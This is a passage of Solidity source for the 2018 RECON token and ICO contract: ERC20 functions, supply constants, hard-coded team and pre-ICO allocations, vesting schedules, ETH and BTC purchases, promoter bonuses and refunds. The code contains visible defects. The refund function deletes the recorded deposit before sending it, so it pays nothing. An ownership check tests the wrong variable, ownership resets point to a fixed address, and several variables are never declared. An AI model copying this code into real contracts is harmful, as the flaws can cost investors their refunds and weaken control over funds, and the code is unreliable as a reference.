function balanceOf(address tokenOwner) public view returns (uint balance) {
return data.balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return data.allowed[tokenOwner][spender];
}
function transfer(address to, uint tokens) public returns (bool success) {
return data.transfer(to, tokens);
}
function approve(address spender, uint tokens) public returns (bool success) {
return data.approve(spender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
return data.transferFrom(from, to, tokens);
}
function approveAndCall(address spender, uint tokens, bytes32 _data) public returns (bool success) {
return data.approveAndCall(spender, tokens, _data);
}
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedTransferHash(tokenOwner, to, tokens, fee, nonce);
}
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
return data.signedTransferCheck(tokenOwner, to, tokens, fee, nonce, sig, feeAccount);
}
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
return data.signedTransfer(tokenOwner, to, tokens, fee, nonce, sig, feeAccount);
}
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedApproveHash(tokenOwner, spender, tokens, fee, nonce);
}
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
return data.signedApproveCheck(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount);
}
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
return data.signedApprove(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount);
}
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedTransferFromHash(spender, from, to, tokens, fee, nonce);
}
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
return data.signedTransferFromCheck(spender, from, to, tokens, fee, nonce, sig, feeAccount);
}
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
return data.signedTransferFrom(spender, from, to, tokens, fee, nonce, sig, feeAccount);
}
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedApproveAndCallHash(tokenOwner, spender, tokens, _data, fee, nonce);
}
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) {
return data.signedApproveAndCallCheck(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount);
}
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) {
return data.signedApproveAndCall(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned1() public {
owner = msg.sender;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(newOwner != address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060));
emit OwnershipTransferred(owner, newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060);
}
function transferOwnershipImmediately(address _newOwner) public onlyOwner {
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract ReconTokenFactory is ERC20Interface, Owned {
using SafeMath for uint;
string public constant name = "RECON";
string public constant symbol = "RECON";
uint8 public constant decimals = 18;
uint constant public ReconToMicro = uint(1000000000000000000);
// This constants reflects RECON token distribution
uint constant public investorSupply = 25000000000 * ReconToMicro;
uint constant public adviserSupply = 25000000 * ReconToMicro;
uint constant public bountySupply = 25000000 * ReconToMicro;
uint constant public _totalSupply = 100000000000 * ReconToMicro;
uint constant public preICOSupply = 5000000000 * ReconToMicro;
uint constant public presaleSupply = 5000000000 * ReconToMicro;
uint constant public crowdsaleSupply = 10000000000 * ReconToMicro;
uint constant public preICOprivate = 99000000 * ReconToMicro;
uint constant public Reconowner = 101000000 * ReconToMicro;
uint constant public ReconnewOwner = 100000000 * ReconToMicro;
uint constant public Reconminter = 50000000 * ReconToMicro;
uint constant public ReconfeeAccount = 50000000 * ReconToMicro;
uint constant public Reconspender = 50000000 * ReconToMicro;
uint constant public ReconrecoveredAddress = 50000000 * ReconToMicro;
uint constant public ProprityfromReconBank = 200000000 * ReconToMicro;
uint constant public ReconManager = 200000000 * ReconToMicro;
uint constant public ReconCashinB2B = 5000000000 * ReconToMicro;
uint constant public ReconSwitchC2C = 5000000000 * ReconToMicro;
uint constant public ReconCashoutB2C = 5000000000 * ReconToMicro;
uint constant public ReconInvestment = 2000000000 * ReconToMicro;
uint constant public ReconMomentum = 2000000000 * ReconToMicro;
uint constant public ReconReward = 2000000000 * ReconToMicro;
uint constant public ReconDonate = 1000000000 * ReconToMicro;
uint constant public ReconTokens = 4000000000 * ReconToMicro;
uint constant public ReconCash = 4000000000 * ReconToMicro;
uint constant public ReconGold = 4000000000 * ReconToMicro;
uint constant public ReconCard = 4000000000 * ReconToMicro;
uint constant public ReconHardriveWallet = 2000000000 * ReconToMicro;
uint constant public RecoinOption = 1000000000 * ReconToMicro;
uint constant public ReconPromo = 100000000 * ReconToMicro;
uint constant public Reconpatents = 1000000000 * ReconToMicro;
uint constant public ReconSecurityandLegalFees = 1000000000 * ReconToMicro;
uint constant public PeerToPeerNetworkingService = 1000000000 * ReconToMicro;
uint constant public Reconia = 2000000000 * ReconToMicro;
uint constant public ReconVaultXtraStock = 7000000000 * ReconToMicro;
uint constant public ReconVaultSecurityStock = 5000000000 * ReconToMicro;
uint constant public ReconVaultAdvancePaymentStock = 5000000000 * ReconToMicro;
uint constant public ReconVaultPrivatStock = 4000000000 * ReconToMicro;
uint constant public ReconVaultCurrencyInsurancestock = 4000000000 * ReconToMicro;
uint constant public ReconVaultNextStock = 4000000000 * ReconToMicro;
uint constant public ReconVaultFuturStock = 4000000000 * ReconToMicro;
// This variables accumulate amount of sold RECON during
// presale, crowdsale, or given to investors as bonus.
uint public presaleSold = 0;
uint public crowdsaleSold = 0;
uint public investorGiven = 0;
// Amount of ETH received during ICO
uint public ethSold = 0;
uint constant public softcapUSD = 20000000000;
uint constant public preicoUSD = 5000000000;
// Presale lower bound in dollars.
uint constant public crowdsaleMinUSD = ReconToMicro * 10 * 100 / 12;
uint constant public bonusLevel0 = ReconToMicro * 10000 * 100 / 12; // 10000$
uint constant public bonusLevel100 = ReconToMicro * 100000 * 100 / 12; // 100000$
// The tokens made available to the public will be in 13 steps
// for a maximum of 20% of the total supply (see doc for checkTransfer).
// All dates are stored as timestamps.
uint constant public unlockDate1 = 1541890800; // 11-11-2018 00:00:00 [1%] Recon Manager
uint constant public unlockDate2 = 1545346800; // 21-12-2018 00:00:00 [2%] Recon Cash-in (B2B)
uint constant public unlockDate3 = 1549062000; // 02-02-2019 00:00:00 [2%] Recon Switch (C2C)
uint constant public unlockDate4 = 1554328800; // 04-04-2019 00:00:00 [2%] Recon Cash-out (B2C)
uint constant public unlockDate5 = 1565215200; // 08-08-2019 00:00:00 [2%] Recon Investment & Recon Momentum
uint constant public unlockDate6 = 1570658400; // 10-10-2019 00:00:00 [2%] Recon Reward
uint constant public unlockDate7 = 1576105200; // 12-12-2019 00:00:00 [1%] Recon Donate
uint constant public unlockDate8 = 1580598000; // 02-02-2020 00:00:00 [1%] Recon Token
uint constant public unlockDate9 = 1585951200; // 04-04-2020 00:00:00 [2%] Recon Cash
uint constant public unlockDate10 = 1591394400; // 06-06-2020 00:00:00 [1%] Recon Gold
uint constant public unlockDate11 = 1596837600; // 08-08-2020 00:00:00 [2%] Recon Card
uint constant public unlockDate12 = 1602280800; // 10-10-2020 00:00:00 [1%] Recon Hardrive Wallet
uint constant public unlockDate13 = 1606863600; // 02-12-2020 00:00:00 [1%] Recoin Option
// The tokens made available to the teams will be made in 4 steps
// for a maximum of 80% of the total supply (see doc for checkTransfer).
uint constant public teamUnlock1 = 1544569200; // 12-12-2018 00:00:00 [25%]
uint constant public teamUnlock2 = 1576105200; // 12-12-2019 00:00:00 [25%]
uint constant public teamUnlock3 = 1594072800; // 07-07-2020 00:00:00 [25%]
uint constant public teamUnlock4 = 1608505200; // 21-12-2020 00:00:00 [25%]
uint constant public teamETHUnlock1 = 1544569200; // 12-12-2018 00:00:00
uint constant public teamETHUnlock2 = 1576105200; // 12-12-2019 00:00:00
uint constant public teamETHUnlock3 = 1594072800; // 07-07-2020 00:00:00
//https://casperproject.atlassian.net/wiki/spaces/PROD/pages/277839878/Smart+contract+ICO
// Presale 10.06.2018 - 22.07.2018
// Crowd-sale 23.07.2018 - 2.08.2018 (16.08.2018)
uint constant public presaleStartTime = 1541890800; // 11-11-2018 00:00:00
uint constant public crowdsaleStartTime = 1545346800; // 21-12-2018 00:00:00
uint public crowdsaleEndTime = 1609455599; // 31-12-2020 23:59:59
uint constant public crowdsaleHardEndTime = 1609455599; // 31-12-2020 23:59:59
//address constant ReconrWallet = 0x0A5f85C3d41892C934ae82BDbF17027A20717088;
constructor() public {
admin = owner;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier onlyOwnerAndDirector {
require(msg.sender == owner || msg.sender == director);
_;
}
address admin;
function setAdmin(address _newAdmin) public onlyOwnerAndDirector {
admin = _newAdmin;
}
address director;
function setDirector(address _newDirector) public onlyOwner {
director = _newDirector;
}
bool assignedPreico = false;
// @notice assignPreicoTokens transfers 3x tokens to pre-ICO participants (99,000,000)
function assignPreicoTokens() public onlyOwnerAndDirector {
require(!assignedPreico);
assignedPreico = true;
_freezeTransfer(0x4Bdff2Cc40996C71a1F16b72490d1a8E7Dfb7E56, 3 * 1000000000000000000000000); // Account_34
_freezeTransfer(0x9189AC4FA7AdBC587fF76DD43248520F8Cb897f3, 3 * 1000000000000000000000000); // Account_35
_freezeTransfer(0xc1D3DAd07A0dB42a7d34453C7d09eFeA793784e7, 3 * 1000000000000000000000000); // Account_36
_freezeTransfer(0xA0BC1BAAa5318E39BfB66F8Cd0496d6b09CaE6C1, 3 * 1000000000000000000000000); // Account_37
_freezeTransfer(0x9a2912F145Ab0d5b4aE6917A8b8ddd222539F424, 3 * 1000000000000000000000000); // Account_38
_freezeTransfer(0x0bB0ded1d868F1c0a50bD31c1ab5ab7b53c6BC20, 3 * 1000000000000000000000000); // Account_39
_freezeTransfer(0x65ec9f30249065A1BD23a9c68c0Ee9Ead63b4A4d, 3 * 1000000000000000000000000); // Account_40
_freezeTransfer(0x87Bdc03582deEeB84E00d3fcFd083B64DA77F471, 3 * 1000000000000000000000000); // Account_41
_freezeTransfer(0x81382A0998191E2Dd8a7bB2B8875D4Ff6CAA31ff, 3 * 1000000000000000000000000); // Account_42
_freezeTransfer(0x790069C894ebf518fB213F35b48C8ec5AAF81E62, 3 * 1000000000000000000000000); // Account_43
_freezeTransfer(0xa3f1404851E8156DFb425eC0EB3D3d5ADF6c8Fc0, 3 * 1000000000000000000000000); // Account_44
_freezeTransfer(0x11bA01dc4d93234D24681e1B19839D4560D17165, 3 * 1000000000000000000000000); // Account_45
_freezeTransfer(0x211D495291534009B8D3fa491400aB66F1d6131b, 3 * 1000000000000000000000000); // Account_46
_freezeTransfer(0x8c481AaF9a735F9a44Ac2ACFCFc3dE2e9B2f88f8, 3 * 1000000000000000000000000); // Account_47
_freezeTransfer(0xd0BEF2Fb95193f429f0075e442938F5d829a33c8, 3 * 1000000000000000000000000); // Account_48
_freezeTransfer(0x424cbEb619974ee79CaeBf6E9081347e64766705, 3 * 1000000000000000000000000); // Account_49
_freezeTransfer(0x9e395cd98089F6589b90643Dde4a304cAe4dA61C, 3 * 1000000000000000000000000); // Account_50
_freezeTransfer(0x3cDE6Df0906157107491ED17C79fF9218A50D7Dc, 3 * 1000000000000000000000000); // Account_51
_freezeTransfer(0x419a98D46a368A1704278349803683abB2A9D78E, 3 * 1000000000000000000000000); // Account_52
_freezeTransfer(0x106Db742344FBB96B46989417C151B781D1a4069, 3 * 1000000000000000000000000); // Account_53
_freezeTransfer(0xE16b9E9De165DbecA18B657414136cF007458aF5, 3 * 1000000000000000000000000); // Account_54
_freezeTransfer(0xee32C325A3E11759b290df213E83a257ff249936, 3 * 1000000000000000000000000); // Account_55
_freezeTransfer(0x7d6F916b0E5BF7Ba7f11E60ed9c30fB71C4A5fE0, 3 * 1000000000000000000000000); // Account_56
_freezeTransfer(0xCC684085585419100AE5010770557d5ad3F3CE58, 3 * 1000000000000000000000000); // Account_57
_freezeTransfer(0xB47BE6d74C5bC66b53230D07fA62Fb888594418d, 3 * 1000000000000000000000000); // Account_58
_freezeTransfer(0xf891555a1BF2525f6EBaC9b922b6118ca4215fdD, 3 * 1000000000000000000000000); // Account_59
_freezeTransfer(0xE3124478A5ed8550eA85733a4543Dd128461b668, 3 * 1000000000000000000000000); // Account_60
_freezeTransfer(0xc5836df630225112493fa04fa32B586f072d6298, 3 * 1000000000000000000000000); // Account_61
_freezeTransfer(0x144a0543C93ce8Fb26c13EB619D7E934FA3eA734, 3 * 1000000000000000000000000); // Account_62
_freezeTransfer(0x43731e24108E928984DcC63DE7affdF3a805FFb0, 3 * 1000000000000000000000000); // Account_63
_freezeTransfer(0x49f7744Aa8B706Faf336a3ff4De37078714065BC, 3 * 1000000000000000000000000); // Account_64
_freezeTransfer(0x1E55C7E97F0b5c162FC9C42Ced92C8e55053e093, 3 * 1000000000000000000000000); // Account_65
_freezeTransfer(0x40b234009664590997D2F6Fde2f279fE56e8AaBC, 3 * 1000000000000000000000000); // Account_66
}
bool assignedTeam = false;
// @notice assignTeamTokens assigns tokens to team members (79,901,000,000)
// @notice tokens for team have their own supply
function assignTeamTokens() public onlyOwnerAndDirector {
require(!assignedTeam);
assignedTeam = true;
_teamTransfer(0x0A5f85C3d41892C934ae82BDbF17027A20717088, 101000000 * ReconToMicro); // Recon owner
_teamTransfer(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060, 100000000 * ReconToMicro); // Recon newOwner
_teamTransfer(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840, 50000000 * ReconToMicro); // Recon minter
_teamTransfer(0xc083E68D962c2E062D2735B54804Bb5E1f367c1b, 50000000 * ReconToMicro); // Recon feeAccount
_teamTransfer(0xF848332f5D902EFD874099458Bc8A53C8b7881B1, 50000000 * ReconToMicro); // Recon spender
_teamTransfer(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c, 50000000 * ReconToMicro); // Recon recoveredAddress
_teamTransfer(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c, 200000000 * ReconToMicro); // Proprity from ReconBank
_teamTransfer(0xD974C2D74f0F352467ae2Da87fCc64491117e7ac, 200000000 * ReconToMicro); // Recon Manager
_teamTransfer(0x5c4F791D0E0A2E75Ee34D62c16FB6D09328555fF, 5000000000 * ReconToMicro); // Recon Cash-in (B2B)
_teamTransfer(0xeB479640A6D55374aF36896eCe6db7d92F390015, 5000000000 * ReconToMicro); // Recon Switch (C2C)
_teamTransfer(0x77167D25Db87dc072399df433e450B00b8Ec105A, 7000000000 * ReconToMicro); // Recon Cash-out (B2C)
_teamTransfer(0x5C6Fd84b961Cce03e027B0f8aE23c4A6e1195E90, 2000000000 * ReconToMicro); // Recon Investment
_teamTransfer(0x86F427c5e05C29Fd4124746f6111c1a712C9B5c8, 2000000000 * ReconToMicro); // Recon Momentum
_teamTransfer(0x1Ecb8dC0932AF3A3ba87e8bFE7eac3Cbe433B78B, 2000000000 * ReconToMicro); // Recon Reward
_teamTransfer(0x7C31BeCa0290C35c8452b95eA462C988c4003Bb0, 1000000000 * ReconToMicro); // Recon Donate
_teamTransfer(0x3a5326f9C9b3ff99e2e5011Aabec7b48B2e6A6A2, 4000000000 * ReconToMicro); // Recon Token
_teamTransfer(0x5a27B07003ce50A80dbBc5512eA5BBd654790673, 4000000000 * ReconToMicro); // Recon Cash
_teamTransfer(0xD580cF1002d0B4eF7d65dC9aC6a008230cE22692, 4000000000 * ReconToMicro); // Recon Gold
_teamTransfer(0x9C83562Bf58083ab408E596A4bA4951a2b5724C9, 4000000000 * ReconToMicro); // Recon Card
_teamTransfer(0x70E06c2Dd9568ECBae760CE2B61aC221C0c497F5, 2000000000 * ReconToMicro); // Recon Hardrive Wallet
_teamTransfer(0x14bd2Aa04619658F517521adba7E5A17dfD2A3f0, 1000000000 * ReconToMicro); // Recoin Option
_teamTransfer(0x9C3091a335383566d08cba374157Bdff5b8B034B, 100000000 * ReconToMicro); // Recon Promo
_teamTransfer(0x3b6F53122903c40ef61441dB807f09D90D6F05c7, 1000000000 * ReconToMicro); // Recon patents
_teamTransfer(0x7fb5EF151446Adb0B7D39B1902E45f06E11038F6, 1000000000 * ReconToMicro); // Recon Security & Legal Fees
_teamTransfer(0x47BD87fa63Ce818584F050aFFECca0f1dfFd0564, 1000000000 * ReconToMicro); // Peer To Peer Networking Service
_teamTransfer(0x83b3CD589Bd78aE65d7b338fF7DFc835cD9a8edD, 2000000000 * ReconToMicro); // Reconia
_teamTransfer(0x6299496342fFd22B7191616fcD19CeC6537C2E8D, 8000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault XtraStock)
_teamTransfer(0x26aF11607Fad4FacF1fc44271aFA63Dbf2C22a87, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault SecurityStock)
_teamTransfer(0x7E21203C5B4A6f98E4986f850dc37eBE9Ca19179, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault Advance Payment Stock)
_teamTransfer(0x0bD212e88522b7F4C673fccBCc38558829337f71, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault PrivatStock)
_teamTransfer(0x5b44e309408cE6E73B9f5869C9eeaCeeb8084DC8, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault Currency Insurance stock)
_teamTransfer(0x48F2eFDE1c028792EbE7a870c55A860e40eb3573, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault NextStock)
_teamTransfer(0x1fF3BE6f711C684F04Cf6adfD665Ce13D54CAC73, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault FuturStock)
}
// @nptice kycPassed is executed by backend and tells SC
// that particular client has passed KYC
mapping(address => bool) public kyc;
mapping(address => address) public referral;
function kycPassed(address _mem, address _ref) public onlyAdmin {
kyc[_mem] = true;
if (_ref == richardAddr || _ref == wuguAddr) {
referral[_mem] = _ref;
}
}
// mappings for implementing ERC20
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// mapping for implementing unlock mechanic
mapping(address => uint) freezed;
mapping(address => uint) teamFreezed;
// ERC20 standard functions
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _transfer(address _from, address _to, uint _tokens) private {
balances[_from] = balances[_from].sub(_tokens);
balances[_to] = balances[_to].add(_tokens);
emit Transfer(_from, _to, _tokens);
}
function transfer(address _to, uint _tokens) public returns (bool success) {
checkTransfer(msg.sender, _tokens);
_transfer(msg.sender, _to, _tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
checkTransfer(from, tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
_transfer(from, to, tokens);
return true;
}
// @notice checkTransfer ensures that `from` can send only unlocked tokens
// @notice this function is called for every transfer
// We unlock PURCHASED and BONUS tokens in 13 stages:
function checkTransfer(address from, uint tokens) public view {
uint newBalance = balances[from].sub(tokens);
uint total = 0;
if (now < unlockDate5) {
require(now >= unlockDate1);
uint frzdPercent = 0;
if (now < unlockDate2) {
frzdPercent = 5;
} else if (now < unlockDate3) {
frzdPercent = 10;
} else if (now < unlockDate4) {
frzdPercent = 10;
} else if (now < unlockDate5) {
frzdPercent = 10;
} else if (now < unlockDate6) {
frzdPercent = 10;
} else if (now < unlockDate7) {
frzdPercent = 10;
} else if (now < unlockDate8) {
frzdPercent = 5;
} else if (now < unlockDate9) {
frzdPercent = 5;
} else if (now < unlockDate10) {
frzdPercent = 10;
} else if (now < unlockDate11) {
frzdPercent = 5;
} else if (now < unlockDate12) {
frzdPercent = 10;
} else if (now < unlockDate13) {
frzdPercent = 5;
} else {
frzdPercent = 5;
}
total = freezed[from].mul(frzdPercent).div(100);
require(newBalance >= total);
}
if (now < teamUnlock4 && teamFreezed[from] > 0) {
uint p = 0;
if (now < teamUnlock1) {
p = 100;
} else if (now < teamUnlock2) {
p = 75;
} else if (now < teamUnlock3) {
p = 50;
} else if (now < teamUnlock4) {
p = 25;
}
total = total.add(teamFreezed[from].mul(p).div(100));
require(newBalance >= total);
}
}
// @return ($ received, ETH received, RECON sold)
function ICOStatus() public view returns (uint usd, uint eth, uint recon) {
usd = presaleSold.mul(12).div(10**20) + crowdsaleSold.mul(16).div(10**20);
usd = usd.add(preicoUSD); // pre-ico tokens
return (usd, ethSold + preicoUSD.mul(10**8).div(ethRate), presaleSold + crowdsaleSold);
}
function checkICOStatus() public view returns(bool) {
uint eth;
uint recon;
(, eth, recon) = ICOStatus();
uint dollarsRecvd = eth.mul(ethRate).div(10**8);
// 26 228 800$
return dollarsRecvd >= 25228966 || (recon == presaleSupply + crowdsaleSupply) || now > crowdsaleEndTime;
}
bool icoClosed = false;
function closeICO() public onlyOwner {
require(!icoClosed);
icoClosed = checkICOStatus();
}
// @notice by agreement, we can transfer $4.8M from bank
// after softcap is reached.
// @param _to wallet to send RECON to
// @param _usd amount of dollars which is withdrawn
uint bonusTransferred = 0;
uint constant maxUSD = 4800000;
function transferBonus(address _to, uint _usd) public onlyOwner {
bonusTransferred = bonusTransferred.add(_usd);
require(bonusTransferred <= maxUSD);
uint recon = _usd.mul(100).mul(ReconToMicro).div(12); // presale tariff
presaleSold = presaleSold.add(recon);
require(presaleSold <= presaleSupply);
ethSold = ethSold.add(_usd.mul(10**8).div(ethRate));
_freezeTransfer(_to, recon);
}
// @notice extend crowdsale for 2 weeks
function prolongCrowdsale() public onlyOwnerAndDirector {
require(now < crowdsaleEndTime);
crowdsaleEndTime = crowdsaleHardEndTime;
}
// 100 000 000 Ether in dollars
uint public ethRate = 0;
uint public ethRateMax = 0;
uint public ethLastUpdate = 0;
function setETHRate(uint _rate) public onlyAdmin {
require(ethRateMax == 0 || _rate < ethRateMax);
ethRate = _rate;
ethLastUpdate = now;
}
// 100 000 000 BTC in dollars
uint public btcRate = 0;
uint public btcRateMax = 0;
uint public btcLastUpdate;
function setBTCRate(uint _rate) public onlyAdmin {
require(btcRateMax == 0 || _rate < btcRateMax);
btcRate = _rate;
btcLastUpdate = now;
}
// @notice setMaxRate sets max rate for both BTC/ETH to soften
// negative consequences in case our backend gots hacked.
function setMaxRate(uint ethMax, uint btcMax) public onlyOwnerAndDirector {
ethRateMax = ethMax;
btcRateMax = btcMax;
}
// @notice _sellPresale checks RECON purchases during crowdsale
function _sellPresale(uint recon) private {
require(recon >= bonusLevel0.mul(9950).div(10000));
presaleSold = presaleSold.add(recon);
require(presaleSold <= presaleSupply);
}
// @notice _sellCrowd checks RECON purchases during crowdsale
function _sellCrowd(uint recon, address _to) private {
require(recon >= crowdsaleMinUSD);
if (crowdsaleSold.add(recon) <= crowdsaleSupply) {
crowdsaleSold = crowdsaleSold.add(recon);
} else {
presaleSold = presaleSold.add(crowdsaleSold).add(recon).sub(crowdsaleSupply);
require(presaleSold <= presaleSupply);
crowdsaleSold = crowdsaleSupply;
}
if (now < crowdsaleStartTime + 3 days) {
if (whitemap[_to] >= recon) {
whitemap[_to] -= recon;
whitelistTokens -= recon;
} else {
require(crowdsaleSupply.add(presaleSupply).sub(presaleSold) >= crowdsaleSold.add(whitelistTokens));
}
}
}
// @notice addInvestorBonusInPercent is used for sending bonuses for big investors in %
function addInvestorBonusInPercent(address _to, uint8 p) public onlyOwner {
require(p > 0 && p <= 5);
uint bonus = balances[_to].mul(p).div(100);
investorGiven = investorGiven.add(bonus);
require(investorGiven <= investorSupply);
_freezeTransfer(_to, bonus);
}
// @notice addInvestorBonusInTokens is used for sending bonuses for big investors in tokens
function addInvestorBonusInTokens(address _to, uint tokens) public onlyOwner {
_freezeTransfer(_to, tokens);
investorGiven = investorGiven.add(tokens);
require(investorGiven <= investorSupply);
}
function () payable public {
purchaseWithETH(msg.sender);
}
// @notice _freezeTranfer perform actual tokens transfer which
// will be freezed (see also checkTransfer() )
function _freezeTransfer(address _to, uint recon) private {
_transfer(owner, _to, recon);
freezed[_to] = freezed[_to].add(recon);
}
// @notice _freezeTranfer perform actual tokens transfer which
// will be freezed (see also checkTransfer() )
function _teamTransfer(address _to, uint recon) private {
_transfer(owner, _to, recon);
teamFreezed[_to] = teamFreezed[_to].add(recon);
}
address public constant wuguAddr = 0x0d340F1344a262c13485e419860cb6c4d8Ec9C6e;
address public constant richardAddr = 0x49BE16e7FECb14B82b4f661D9a0426F810ED7127;
mapping(address => address[]) promoterClients;
mapping(address => mapping(address => uint)) promoterBonus;
// @notice withdrawPromoter transfers back to promoter
// all bonuses accumulated to current moment
function withdrawPromoter() public {
address _to = msg.sender;
require(_to == wuguAddr || _to == richardAddr);
uint usd;
(usd,,) = ICOStatus();
// USD received - 5% must be more than softcap
require(usd.mul(95).div(100) >= softcapUSD);
uint bonus = 0;
address[] memory clients = promoterClients[_to];
for(uint i = 0; i < clients.length; i++) {
if (kyc[clients[i]]) {
uint num = promoterBonus[_to][clients[i]];
delete promoterBonus[_to][clients[i]];
bonus += num;
}
}
_to.transfer(bonus);
}
// @notice cashBack will be used in case of failed ICO
// All partitipants can receive their ETH back
function cashBack(address _to) public {
uint usd;
(usd,,) = ICOStatus();
// ICO fails if crowd-sale is ended and we have not yet reached soft-cap
require(now > crowdsaleEndTime && usd < softcapUSD);
require(ethSent[_to] > 0);
delete ethSent[_to];
_to.transfer(ethSent[_to]);
}
// @notice stores amount of ETH received by SC
mapping(address => uint) ethSent;
function purchaseWithETH(address _to) payable public {
purchaseWithPromoter(_to, referral[msg.sender]);
}
// @notice purchases tokens, which a send to `_to` with 5% returned to `_ref`
// @notice 5% return must work only on crowdsale
function purchaseWithPromoter(address _to, address _ref) payable public {
require(now >= presaleStartTime && now <= crowdsaleEndTime);
require(!icoClosed);
uint _wei = msg.value;
uint recon;
ethSent[msg.sender] = ethSent[msg.sender].add(_wei);
ethSold = ethSold.add(_wei);
// accept payment on presale only if it is more than 9997$
// actual check is performed in _sellPresale
if (now < crowdsaleStartTime || approvedInvestors[msg.sender]) {
require(kyc[msg.sender]);
recon = _wei.mul(ethRate).div(75000000); // 1 RECON = 0.75 $ on presale
require(now < crowdsaleStartTime || recon >= bonusLevel100);
_sellPresale(recon);
// we have only 2 recognized promoters
if (_ref == wuguAddr || _ref == richardAddr) {
promoterClients[_ref].push(_to);
promoterBonus[_ref][_to] = _wei.mul(5).div(100);
}
} else {
recon = _wei.mul(ethRate).div(10000000); // 1 RECON = 1.00 $ on crowd-sale
_sellCrowd(recon, _to);
}
_freezeTransfer(_to, recon);
}
// @notice purchaseWithBTC is called from backend, where we convert
// BTC to ETH, and then assign tokens to purchaser, using BTC / $ exchange rate.
function purchaseWithBTC(address _to, uint _satoshi, uint _wei) public onlyAdmin {
require(now >= presaleStartTime && now <= crowdsaleEndTime);
require(!icoClosed);
ethSold = ethSold.add(_wei);
uint recon;
// accept payment on presale only if it is more than 9997$
// actual check is performed in _sellPresale
if (now < crowdsaleStartTime || approvedInvestors[msg.sender]) {
require(kyc[msg.sender]);
recon = _satoshi.mul(btcRate.mul(10000)).div(75); // 1 RECON = 0.75 $ on presale
require(now < crowdsaleStartTime || recon >= bonusLevel100);
_sellPresale(recon);
} else {
recon = _satoshi.mul(btcRate.mul(10000)).div(100); // 1 RECON = 1.00 $ on presale
_sellCrowd(recon, _to);
}
_freezeTransfer(_to, recon);
}
// @notice withdrawFunds is called to send team bonuses after
// then end of the ICO
bool withdrawCalled = false;
function withdrawFunds() public onlyOwner {
require(icoClosed && now >= teamETHUnlock1);
require(!withdrawCalled);
withdrawCalled = true;
uint eth;
(,eth,) = ICOStatus();
// pre-ico tokens are not in ethSold
uint minus = bonusTransferred.mul(10**8).div(ethRate);
uint team = ethSold.sub(minus);
team = team.mul(15).div(100);
uint ownerETH = 0;
uint teamETH = 0;
if (address(this).balance >= team) {
teamETH = team;
